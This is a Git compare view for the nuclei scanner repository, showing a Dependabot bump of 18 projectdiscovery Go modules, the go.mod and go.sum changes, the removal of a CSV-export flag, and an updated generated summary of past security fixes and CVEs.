Compare commits

..
Author SHA1 Message Date
dependabot[bot] 154db3b7e5 chore(deps): bump the modules group across 1 directory with 18 updates
Bumps the modules group with 18 updates in the / directory:

| Package | From | To |
| --- | --- | --- |
| [github.com/projectdiscovery/clistats](https://github.com/projectdiscovery/clistats) | `0.1.7` | `0.1.9` |
| [github.com/projectdiscovery/dsl](https://github.com/projectdiscovery/dsl) | `0.9.0` | `0.9.2` |
| [github.com/projectdiscovery/fastdialer](https://github.com/projectdiscovery/fastdialer) | `0.6.0` | `0.6.2` |
| [github.com/projectdiscovery/gologger](https://github.com/projectdiscovery/gologger) | `1.1.73` | `1.1.75` |
| [github.com/projectdiscovery/gozero](https://github.com/projectdiscovery/gozero) | `0.1.1-0.20260530071156-fa1dad563d76` | `0.1.1` |
| [github.com/projectdiscovery/hmap](https://github.com/projectdiscovery/hmap) | `0.0.102` | `0.0.104` |
| [github.com/projectdiscovery/networkpolicy](https://github.com/projectdiscovery/networkpolicy) | `0.1.56` | `0.1.57` |
| [github.com/projectdiscovery/rawhttp](https://github.com/projectdiscovery/rawhttp) | `0.2.0` | `0.2.2` |
| [github.com/projectdiscovery/retryabledns](https://github.com/projectdiscovery/retryabledns) | `1.0.116` | `1.0.118` |
| [github.com/projectdiscovery/retryablehttp-go](https://github.com/projectdiscovery/retryablehttp-go) | `1.3.31` | `1.3.34` |
| [github.com/projectdiscovery/tlsx](https://github.com/projectdiscovery/tlsx) | `1.4.3-0.20261020052910-acb80c2c7c75` | `1.4.4` |
| [github.com/projectdiscovery/useragent](https://github.com/projectdiscovery/useragent) | `0.0.109` | `0.0.110` |
| [github.com/projectdiscovery/utils](https://github.com/projectdiscovery/utils) | `0.11.13-0.20261103094816-5c0b20e35350` | `0.11.13` |
| [github.com/projectdiscovery/wappalyzergo](https://github.com/projectdiscovery/wappalyzergo) | `0.3.6` | `0.3.8` |
| [github.com/projectdiscovery/yamldoc-go](https://github.com/projectdiscovery/yamldoc-go) | `1.0.7` | `1.0.9` |
| [github.com/projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap) | `1.1.1` | `1.2.0` |
| [github.com/projectdiscovery/cdncheck](https://github.com/projectdiscovery/cdncheck) | `1.3.2` | `1.4.0` |
| [github.com/projectdiscovery/freeport](https://github.com/projectdiscovery/freeport) | `0.0.7` | `0.0.8` |



Updates `github.com/projectdiscovery/clistats` from 0.1.7 to 0.1.9
- [Release notes](https://github.com/projectdiscovery/clistats/releases)
- [Commits](https://github.com/projectdiscovery/clistats/compare/v0.1.7...v0.1.9)

Updates `github.com/projectdiscovery/dsl` from 0.9.0 to 0.9.2
- [Release notes](https://github.com/projectdiscovery/dsl/releases)
- [Commits](https://github.com/projectdiscovery/dsl/compare/v0.9.0...v0.9.2)

Updates `github.com/projectdiscovery/fastdialer` from 0.6.0 to 0.6.2
- [Release notes](https://github.com/projectdiscovery/fastdialer/releases)
- [Commits](https://github.com/projectdiscovery/fastdialer/compare/v0.6.0...v0.6.2)

Updates `github.com/projectdiscovery/gologger` from 1.1.73 to 1.1.75
- [Release notes](https://github.com/projectdiscovery/gologger/releases)
- [Commits](https://github.com/projectdiscovery/gologger/compare/v1.1.73...v1.1.75)

Updates `github.com/projectdiscovery/gozero` from 0.1.1-0.20260530071156-fa1dad563d76 to 0.1.1
- [Release notes](https://github.com/projectdiscovery/gozero/releases)
- [Commits](https://github.com/projectdiscovery/gozero/commits/v0.1.1)

Updates `github.com/projectdiscovery/hmap` from 0.0.102 to 0.0.104
- [Release notes](https://github.com/projectdiscovery/hmap/releases)
- [Commits](https://github.com/projectdiscovery/hmap/compare/v0.0.102...v0.0.104)

Updates `github.com/projectdiscovery/networkpolicy` from 0.1.56 to 0.1.57
- [Release notes](https://github.com/projectdiscovery/networkpolicy/releases)
- [Commits](https://github.com/projectdiscovery/networkpolicy/compare/v0.1.56...v0.1.57)

Updates `github.com/projectdiscovery/rawhttp` from 0.2.0 to 0.2.2
- [Release notes](https://github.com/projectdiscovery/rawhttp/releases)
- [Commits](https://github.com/projectdiscovery/rawhttp/compare/v0.2.0...v0.2.2)

Updates `github.com/projectdiscovery/retryabledns` from 1.0.116 to 1.0.118
- [Release notes](https://github.com/projectdiscovery/retryabledns/releases)
- [Commits](https://github.com/projectdiscovery/retryabledns/compare/v1.0.116...v1.0.118)

Updates `github.com/projectdiscovery/retryablehttp-go` from 1.3.31 to 1.3.34
- [Release notes](https://github.com/projectdiscovery/retryablehttp-go/releases)
- [Commits](https://github.com/projectdiscovery/retryablehttp-go/compare/v1.3.31...v1.3.34)

Updates `github.com/projectdiscovery/tlsx` from 1.4.3-0.20261020052910-acb80c2c7c75 to 1.4.4
- [Release notes](https://github.com/projectdiscovery/tlsx/releases)
- [Commits](https://github.com/projectdiscovery/tlsx/commits/v1.4.4)

Updates `github.com/projectdiscovery/useragent` from 0.0.109 to 0.0.110
- [Release notes](https://github.com/projectdiscovery/useragent/releases)
- [Commits](https://github.com/projectdiscovery/useragent/compare/v0.0.109...v0.0.110)

Updates `github.com/projectdiscovery/utils` from 0.11.13-0.20261103094816-5c0b20e35350 to 0.11.13
- [Release notes](https://github.com/projectdiscovery/utils/releases)
- [Changelog](https://github.com/projectdiscovery/utils/blob/main/CHANGELOG.md)
- [Commits](https://github.com/projectdiscovery/utils/commits/v0.11.13)

Updates `github.com/projectdiscovery/wappalyzergo` from 0.3.6 to 0.3.8
- [Release notes](https://github.com/projectdiscovery/wappalyzergo/releases)
- [Commits](https://github.com/projectdiscovery/wappalyzergo/compare/v0.3.6...v0.3.8)

Updates `github.com/projectdiscovery/yamldoc-go` from 1.0.7 to 1.0.9
- [Release notes](https://github.com/projectdiscovery/yamldoc-go/releases)
- [Commits](https://github.com/projectdiscovery/yamldoc-go/compare/v1.0.7...v1.0.9)

Updates `github.com/projectdiscovery/asnmap` from 1.1.1 to 1.2.0
- [Release notes](https://github.com/projectdiscovery/asnmap/releases)
- [Commits](https://github.com/projectdiscovery/asnmap/compare/v1.1.1...v1.2.0)

Updates `github.com/projectdiscovery/cdncheck` from 1.3.2 to 1.4.0
- [Release notes](https://github.com/projectdiscovery/cdncheck/releases)
- [Commits](https://github.com/projectdiscovery/cdncheck/compare/v1.3.2...v1.4.0)

Updates `github.com/projectdiscovery/freeport` from 0.0.7 to 0.0.8
- [Release notes](https://github.com/projectdiscovery/freeport/releases)
- [Commits](https://github.com/projectdiscovery/freeport/compare/v0.0.7...v0.0.8)

---
updated-dependencies:
- dependency-name: github.com/projectdiscovery/asnmap
  dependency-version: 1.2.0
  dependency-type: indirect
  update-type: version-update:semver-minor
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/cdncheck
  dependency-version: 1.4.0
  dependency-type: indirect
  update-type: version-update:semver-minor
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/clistats
  dependency-version: 0.1.9
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/dsl
  dependency-version: 0.9.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/fastdialer
  dependency-version: 0.6.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/freeport
  dependency-version: 0.0.8
  dependency-type: indirect
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/gologger
  dependency-version: 1.1.75
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/gozero
  dependency-version: 0.1.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/hmap
  dependency-version: 0.0.104
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/networkpolicy
  dependency-version: 0.1.57
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/rawhttp
  dependency-version: 0.2.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/retryabledns
  dependency-version: 1.0.118
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/retryablehttp-go
  dependency-version: 1.3.34
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/tlsx
  dependency-version: 1.4.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/useragent
  dependency-version: 0.0.110
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/utils
  dependency-version: 0.11.13
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/wappalyzergo
  dependency-version: 0.3.8
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
- dependency-name: github.com/projectdiscovery/yamldoc-go
  dependency-version: 1.0.9
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: modules
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-11-09 10:33:01 +00:00
22 changed files with 174 additions and 2160 deletions

No files matched your search

-1
View File
@@ -220,7 +220,6 @@ OUTPUT:
-se, -sarif-export string file to export results in SARIF format
-je, -json-export string file to export results in JSON format
-jle, -jsonl-export string file to export results in JSONL(ine) format
-ce, -csv-export string file to export results in CSV format
-pe, -pdf-export string file to export results in PDF format
-rd, -redact string[] redact given list of keys from query parameter, request header and body
-nrd, -no-redact disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted
+13 -21
View File
@@ -1,13 +1,13 @@
<!-- Generated by securitycontext.dev. Source HEAD: 40d08ee493f6f84c9a6b3c7f15f22da83853130c. -->
<!-- Generated by securitycontext.dev. Source HEAD: df57ae6d2955864fd92a1bd2565fe9e4e9a7592b. -->
# Security Context: projectdiscovery/nuclei @ dev
> Reference context for editing projectdiscovery/nuclei. Before changing any component below, **preserve the listed guards and do not reintroduce these fixed issues**. Each fingerprint is a regression check, and each shared attack surface is a guard that must keep holding on every path.
_Analyzed [40d08ee493][c-40d08ee493] on `dev` · 5242 commits, 586 security-relevant examined · generated 2026-11-09_
_Analyzed [df57ae6d29][c-df57ae6d29] on `dev` · 5174 commits, 548 security-relevant examined · generated 2026-11-02_
## Recurring Security Patterns
**12.5% of classified fixes repeat a previously fixed pattern** (2 recurring, 14 first-seen). A recurring pattern means this repository fixed a similar issue before — not that the code is currently vulnerable.
**7.1% of classified fixes repeat a previously fixed pattern** (1 recurring, 13 first-seen). A recurring pattern means this repository fixed a similar issue before — not that the code is currently vulnerable.
## Top Risks
@@ -15,12 +15,12 @@ Components with the strongest concentration of past fixes for one class.
| # | Class | Component | Severity | Fixes | Evidence |
|---|---|---|---|---|---|
| 1 | Code Execution | `pkg/fuzz/execute.go` | high | 2 | [4fed40f75a][c-4fed40f75a], [ccbfb12bd0][c-ccbfb12bd0] |
| 2 | SSRF | `pkg/protocols/common/protocolstate/headless.go` | high | 2 | [d43c1f547f][c-d43c1f547f], [d9dabbb4a1][c-d9dabbb4a1] |
| 3 | Arbitrary File Access | `v2/pkg/protocols/common/generators/load.go` | high | 0 (1 component gone, not counted) | [e5154d362a][c-e5154d362a] |
| 4 | Arbitrary File Access | `pkg/js/libs/mysql/mysql.go` | high | 1 | [634cecbb28][c-634cecbb28] |
| 5 | Certificate Validation Bypass | `pkg/reporting/exporters/es/elasticsearch.go` | high | 1 | [82d5a8acc2][c-82d5a8acc2] |
| 6 | Code Execution | `pkg/protocols/common/expressions/expressions.go` | high | 1 | [d221732016][c-d221732016] |
| 1 | SSRF | `pkg/protocols/common/protocolstate/headless.go` | high | 2 | [d43c1f547f][c-d43c1f547f], [d9dabbb4a1][c-d9dabbb4a1] |
| 2 | Arbitrary File Access | `v2/pkg/protocols/common/generators/load.go` | high | 0 (1 component gone, not counted) | [e5154d362a][c-e5154d362a] |
| 3 | Arbitrary File Access | `pkg/js/libs/mysql/mysql.go` | high | 1 | [634cecbb28][c-634cecbb28] |
| 4 | Code Execution | `pkg/fuzz/execute.go` | high | 1 | [ccbfb12bd0][c-ccbfb12bd0] |
| 5 | Code Execution | `pkg/protocols/common/expressions/expressions.go` | high | 1 | [d221732016][c-d221732016] |
| 6 | Information Disclosure | `internal/httpapi/apiendpoint.go` | high | 1 | [a20aa26024][c-a20aa26024] |
## Fixed-Issue Fingerprints
@@ -28,13 +28,8 @@ Real security fixes mined from git history; use them as regression checks. `veri
**By component** (directories with the most fixes):
- `pkg/fuzz` — 2 fixes: Code Execution (2)
- `pkg/protocols/common/protocolstate` — 2 fixes: SSRF (2)
- [4fed40f75a][c-4fed40f75a] **fix(fuzz): stop re-rendering evaluated template variables (#8057)** — Code Execution, high [CWE-94] · inferred · 2026-11-05
`pkg/fuzz/execute.go` · sink `rule.evaluateVarsWithInteractsh` · fix: safe parser configuration
- [82d5a8acc2][c-82d5a8acc2] **exporters: verify TLS certificates (#8042)** — Certificate Validation Bypass, high [CWE-295] · inferred · 2026-11-04
`pkg/reporting/exporters/es/elasticsearch.go` · sink `DialTLS` · fix: cryptographic verification
- [1c0f77d28e][c-1c0f77d28e] **fix(js/net): enforce network policy on proxied target in JS net dial** — SSRF, high [CWE-918] · inferred · 2026-10-18
`pkg/js/libs/net/net.go` · sink `dialHTTPProxy` · fix: input validation
- [d43c1f547f][c-d43c1f547f] **fix(headless): canonicalize IPv4-mapped IPv6 literals and re-validate dial targets** — SSRF, high [CWE-918] · inferred · 2026-10-13
@@ -68,12 +63,11 @@ Real security fixes mined from git history; use them as regression checks. `veri
| Class | Fixes | Verified | Most recent fix |
|---|---|---|---|
| Code Execution | 3 | 2 | [2026-11-05][c-4fed40f75a] 4fed40f75a |
| SSRF | 3 | 0 | [2026-10-18][c-1c0f77d28e] 1c0f77d28e |
| Arbitrary File Access | 1 (1 component gone, not counted) | 2 | [2026-06-19][c-634cecbb28] 634cecbb28 |
| Code Execution | 2 | 2 | [2026-06-30][c-ccbfb12bd0] ccbfb12bd0 |
| Sandbox Escape | 2 | 0 | [2026-06-24][c-3a8b65cb45] 3a8b65cb45 |
| Signature Verification Bypass | 2 | 2 | [2026-07-03][c-fac0b7196d] fac0b7196d |
| Certificate Validation Bypass | 1 | 0 | [2026-11-04][c-82d5a8acc2] 82d5a8acc2 |
| Information Disclosure | 1 | 0 | [2026-08-03][c-a20aa26024] a20aa26024 |
| Path Traversal | 1 | 0 | [2026-06-04][c-20cbf0bd73] 20cbf0bd73 |
| SQL Injection | 1 | 0 | [2026-06-23][c-68daef44a7] 68daef44a7 |
@@ -106,17 +100,15 @@ Published elsewhere, fixed before the history window, or not yet linked; full de
| CVE-2024-40641 / GHSA-c3q9-c27p-cw9h | high 7.4 | 2024-07-17 | CWE-78 | Unsigned code template execution through workflows in projectdiscovery/nuclei. ### Summary... |
| CVE-2024-27920 / GHSA-w5wx-6g2r-r78q | high 7.4 | 2024-03-15 | CWE-78 | Unsigned code template execution through workflows in projectdiscovery/nuclei. ### Overvie... |
[c-40d08ee493]: https://github.com/projectdiscovery/nuclei/commit/40d08ee493f6f84c9a6b3c7f15f22da83853130c
[c-4fed40f75a]: https://github.com/projectdiscovery/nuclei/commit/4fed40f75a57c7c414aac62d213d772cc3f430d3
[c-ccbfb12bd0]: https://github.com/projectdiscovery/nuclei/commit/ccbfb12bd01447ba25f6e755dfb2bee677736da6
[c-df57ae6d29]: https://github.com/projectdiscovery/nuclei/commit/df57ae6d2955864fd92a1bd2565fe9e4e9a7592b
[c-d43c1f547f]: https://github.com/projectdiscovery/nuclei/commit/d43c1f547f98ac56654f4335ad20af0cca4c229c
[c-d9dabbb4a1]: https://github.com/projectdiscovery/nuclei/commit/d9dabbb4a19e897a6bc12334a030a43035b27b73
[c-e5154d362a]: https://github.com/projectdiscovery/nuclei/commit/e5154d362af900e83b30fb79028bfab1a7f0c648
[c-634cecbb28]: https://github.com/projectdiscovery/nuclei/commit/634cecbb289db494247c04a9c4ec6a113aef3cc0
[c-82d5a8acc2]: https://github.com/projectdiscovery/nuclei/commit/82d5a8acc2c756394c7fa92eae08b41330e89d69
[c-ccbfb12bd0]: https://github.com/projectdiscovery/nuclei/commit/ccbfb12bd01447ba25f6e755dfb2bee677736da6
[c-d221732016]: https://github.com/projectdiscovery/nuclei/commit/d2217320162d5782ca7cb95bef9dda17063818f3
[c-1c0f77d28e]: https://github.com/projectdiscovery/nuclei/commit/1c0f77d28ed639a34c2036fa23c7503ffac0bf27
[c-a20aa26024]: https://github.com/projectdiscovery/nuclei/commit/a20aa260245e5db889c5a421d4a65aeb2a64bf46
[c-1c0f77d28e]: https://github.com/projectdiscovery/nuclei/commit/1c0f77d28ed639a34c2036fa23c7503ffac0bf27
[c-fac0b7196d]: https://github.com/projectdiscovery/nuclei/commit/fac0b7196d2fbca56c8af8ff8e1899c111041a37
[c-3a8b65cb45]: https://github.com/projectdiscovery/nuclei/commit/3a8b65cb45f121fcdf418f60e5177ed9f250c122
[c-68daef44a7]: https://github.com/projectdiscovery/nuclei/commit/68daef44a7eafd41c39690924620e418762909ef
-1
View File
@@ -370,7 +370,6 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"),
flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"),
flagSet.StringVarP(&options.CSVExport, "csv-export", "ce", "", "file to export results in CSV format"),
flagSet.StringVarP(&options.PDFExport, "pdf-export", "pe", "", "file to export results in PDF format"),
flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions),
flagSet.BoolVarP(&options.NoRedact, "no-redact", "nrd", false, "disable the built-in redaction of credential headers (Authorization, Cookie, Set-Cookie, ...) in output; keys given with -redact are still redacted"),
+21 -22
View File
@@ -78,37 +78,37 @@ require (
github.com/ory/dockertest/v3 v3.12.0
github.com/pkg/errors v0.9.1
github.com/praetorian-inc/fingerprintx v1.1.15
github.com/projectdiscovery/clistats v0.1.7
github.com/projectdiscovery/dsl v0.9.0
github.com/projectdiscovery/fastdialer v0.6.0
github.com/projectdiscovery/clistats v0.1.9
github.com/projectdiscovery/dsl v0.9.2
github.com/projectdiscovery/fastdialer v0.6.2
github.com/projectdiscovery/fasttemplate v0.0.2
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c
github.com/projectdiscovery/goflags v0.2.1
github.com/projectdiscovery/goimpacket v0.1.1-0.20261007205806-6042a8213eeb
github.com/projectdiscovery/goja v0.0.0-20261012075649-9b78f2e05b9c
github.com/projectdiscovery/goja_nodejs v0.0.0-20260618132410-8519f75f703d
github.com/projectdiscovery/gologger v1.1.73
github.com/projectdiscovery/gologger v1.1.75
github.com/projectdiscovery/gostruct v0.0.2
github.com/projectdiscovery/govaluate v0.0.0-20261102102118-9294133b15a2
github.com/projectdiscovery/gozero v0.1.1-0.20260530071156-fa1dad563d76
github.com/projectdiscovery/hmap v0.0.102
github.com/projectdiscovery/gozero v0.1.1
github.com/projectdiscovery/hmap v0.0.104
github.com/projectdiscovery/httpx v1.12.0
github.com/projectdiscovery/interactsh v1.4.1
github.com/projectdiscovery/mapcidr v1.1.97
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
github.com/projectdiscovery/networkpolicy v0.1.56
github.com/projectdiscovery/networkpolicy v0.1.57
github.com/projectdiscovery/ratelimit v0.0.94
github.com/projectdiscovery/rawhttp v0.2.0
github.com/projectdiscovery/rawhttp v0.2.2
github.com/projectdiscovery/rdap v0.9.0
github.com/projectdiscovery/retryabledns v1.0.116
github.com/projectdiscovery/retryablehttp-go v1.3.31
github.com/projectdiscovery/retryabledns v1.0.118
github.com/projectdiscovery/retryablehttp-go v1.3.34
github.com/projectdiscovery/sarif v0.1.0
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75
github.com/projectdiscovery/tlsx v1.4.4
github.com/projectdiscovery/uncover v1.2.1
github.com/projectdiscovery/useragent v0.0.109
github.com/projectdiscovery/utils v0.11.13-0.20261103094816-5c0b20e35350
github.com/projectdiscovery/wappalyzergo v0.3.6
github.com/projectdiscovery/yamldoc-go v1.0.7
github.com/projectdiscovery/useragent v0.0.110
github.com/projectdiscovery/utils v0.11.13
github.com/projectdiscovery/wappalyzergo v0.3.8
github.com/projectdiscovery/yamldoc-go v1.0.9
github.com/redis/go-redis/v9 v9.19.0
github.com/remeh/sizedwaitgroup v1.0.0
github.com/rs/xid v1.6.0
@@ -136,7 +136,7 @@ require (
golang.org/x/term v0.47.0
golang.org/x/text v0.43.0
golang.org/x/time v0.15.0
golang.org/x/tools v0.51.0
golang.org/x/tools v0.52.0
google.golang.org/grpc v1.83.2
google.golang.org/protobuf v1.36.11
gopkg.in/yaml.v3 v3.0.1
@@ -168,7 +168,6 @@ require (
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.53.0 // indirect
github.com/Microsoft/go-winio v0.6.2 // indirect
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 // indirect
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 // indirect
github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d // indirect
github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect
github.com/ProtonMail/go-crypto v1.1.6 // indirect
@@ -372,10 +371,10 @@ require (
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
github.com/projectdiscovery/asnmap v1.1.1 // indirect
github.com/projectdiscovery/asnmap v1.2.0 // indirect
github.com/projectdiscovery/blackrock v0.0.2 // indirect
github.com/projectdiscovery/cdncheck v1.3.2 // indirect
github.com/projectdiscovery/freeport v0.0.7 // indirect
github.com/projectdiscovery/cdncheck v1.4.0 // indirect
github.com/projectdiscovery/freeport v0.0.8 // indirect
github.com/projectdiscovery/jarm-go v0.0.0-20260910160638-430e2bae86f6 // indirect
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect
github.com/projectdiscovery/machineid v0.0.0-20250715113114-c77eb3567582 // indirect
@@ -432,7 +431,7 @@ require (
github.com/ysmood/got v0.40.0 // indirect
github.com/ysmood/gson v0.7.3 // indirect
github.com/ysmood/leakless v0.9.0 // indirect
github.com/yuin/goldmark v1.7.17 // indirect
github.com/yuin/goldmark v1.8.6 // indirect
github.com/yuin/goldmark-emoji v1.0.6 // indirect
github.com/yusufpapurcu/wmi v1.2.4 // indirect
github.com/zcalusic/sysinfo v1.1.3 // indirect
@@ -456,7 +455,7 @@ require (
goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/arch v0.3.0 // indirect
golang.org/x/crypto v0.58.0 // indirect
golang.org/x/mod v0.41.0 // indirect
golang.org/x/mod v0.42.0 // indirect
google.golang.org/api v0.264.0 // indirect
google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect
google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa // indirect
+42 -44
View File
@@ -120,8 +120,6 @@ github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERo
github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU=
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub47e7kd2PLZeACxc1LkiiNoDOFRClE=
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4=
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8=
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4=
github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d h1:DofPB5AcjTnOU538A/YD86/dfqSNTvQsAXgwagxmpu4=
github.com/Mzack9999/go-rsync v0.0.0-20250821180103-81ffa574ef4d/go.mod h1:uzdh/m6XQJI7qRvufeBPDa+lj5SVCJO8B9eLxTbtI5U=
github.com/Mzack9999/goimpacket v0.0.0-20260420131935-a9fe473cda7d h1:xX93NZHxxrHcmN4nn1owvJdr1E/l1kp1Rv7rMr9ly+U=
@@ -923,22 +921,22 @@ github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/praetorian-inc/fingerprintx v1.1.15 h1:CVIxrIQARbmdk5h8E9tIJZbvFoY2sGLLG9rpFVfQqpA=
github.com/praetorian-inc/fingerprintx v1.1.15/go.mod h1:hqRroITBwKpP8BOGF+n/A+qv9wSF7OSVinmu5NCyOUI=
github.com/projectdiscovery/asnmap v1.1.1 h1:ImJiKIaACOT7HPx4Pabb5dksolzaFYsD1kID2iwsDqI=
github.com/projectdiscovery/asnmap v1.1.1/go.mod h1:QT7jt9nQanj+Ucjr9BqGr1Q2veCCKSAVyUzLXfEcQ60=
github.com/projectdiscovery/asnmap v1.2.0 h1:xxZxVYJYPyBNbwF7jL/rtpThKBMdjomQBmlAZRqhq7E=
github.com/projectdiscovery/asnmap v1.2.0/go.mod h1:0tNdUGHUE7TFWDaHZtuXcVpQfRTZZ1BKmFfl8gtQbiU=
github.com/projectdiscovery/blackrock v0.0.2 h1:mxXdu0uM8P2L2Qi210COlU8QiICPFW/Rxk5QUhlPO2k=
github.com/projectdiscovery/blackrock v0.0.2/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
github.com/projectdiscovery/cdncheck v1.3.2 h1:I453ZWNBeG0WWIy3wi9412l4PTzorLgebEnqmbcpSfo=
github.com/projectdiscovery/cdncheck v1.3.2/go.mod h1:5IkUMMlcGaeg1DWW5oJVd3r9X3EpJ88j5HxBeF4Me9M=
github.com/projectdiscovery/clistats v0.1.7 h1:NXf4lUzx1QcbJd6QycNwwYHTv2FsW9MchQ2LsgSL6C0=
github.com/projectdiscovery/clistats v0.1.7/go.mod h1:RxRGxhMzkT344VTTvZWIrojurUXdQQRN1yfwgg/88I8=
github.com/projectdiscovery/dsl v0.9.0 h1:i1KyCbKJyKfHkgdbfh0JkWdd14APUjpEYf+GaYANlCg=
github.com/projectdiscovery/dsl v0.9.0/go.mod h1:ntNFkkiYCTEosGFTbApA61RMrvJTCjnakPxnWj56MyY=
github.com/projectdiscovery/fastdialer v0.6.0 h1:4ZeFQ6LyRH4D8e3qO/yzqIP4Cf9Fr0DduaVpJD6ENnE=
github.com/projectdiscovery/fastdialer v0.6.0/go.mod h1:FpHwa9S5PUgfPbh+irOm+cdU6AO631XidxkhPwPv7yY=
github.com/projectdiscovery/cdncheck v1.4.0 h1:FP+ALhMtm+HyE8WgeWp3lUvNp3WaE7LCsC7LpB9QsWw=
github.com/projectdiscovery/cdncheck v1.4.0/go.mod h1:27FjISwBKtdQXsC31q16xspX5xAu0gbYfF0rs3yGNxs=
github.com/projectdiscovery/clistats v0.1.9 h1:qIxxxjWYuxoGIG02jOeztvz/8metvay2pG2P+Xld154=
github.com/projectdiscovery/clistats v0.1.9/go.mod h1:4TcGnCtsmyy9/pkKaRyqQmKQljwiOPTCc0nnbluhYX0=
github.com/projectdiscovery/dsl v0.9.2 h1:6zwxEF1J7Vy3Ng4VeZ3xphDE9D+ZsF6VOUT+UjDOngk=
github.com/projectdiscovery/dsl v0.9.2/go.mod h1:lD4o4Fqgql7YxZYYb4XYR9rHhMG5UZM3iB9MQx3/zKM=
github.com/projectdiscovery/fastdialer v0.6.2 h1:SMf7/1IK/y6ThiDrLaEQ6/owZ5V5+uQPJZmsZVTA2Vs=
github.com/projectdiscovery/fastdialer v0.6.2/go.mod h1:mZ6UOoMyTHCbn5nz6xzFmgwvushgY6/ecANYZe6XqrQ=
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
github.com/projectdiscovery/freeport v0.0.7 h1:Q6uXo/j8SaV/GlAHkEYQi8WQoPXyJWxyspx+aFmz9Qk=
github.com/projectdiscovery/freeport v0.0.7/go.mod h1:cOhWKvNBe9xM6dFJ3RrrLvJ5vXx2NQ36SecuwjenV2k=
github.com/projectdiscovery/freeport v0.0.8 h1:7EE+m7DY7Yc2afpB/F45V+zH2DL+M0skCSUc3gb5KUs=
github.com/projectdiscovery/freeport v0.0.8/go.mod h1:dtIhwfdXOiA0gyr2PWno1X8RTqtzHbQDNfJGpSvptD4=
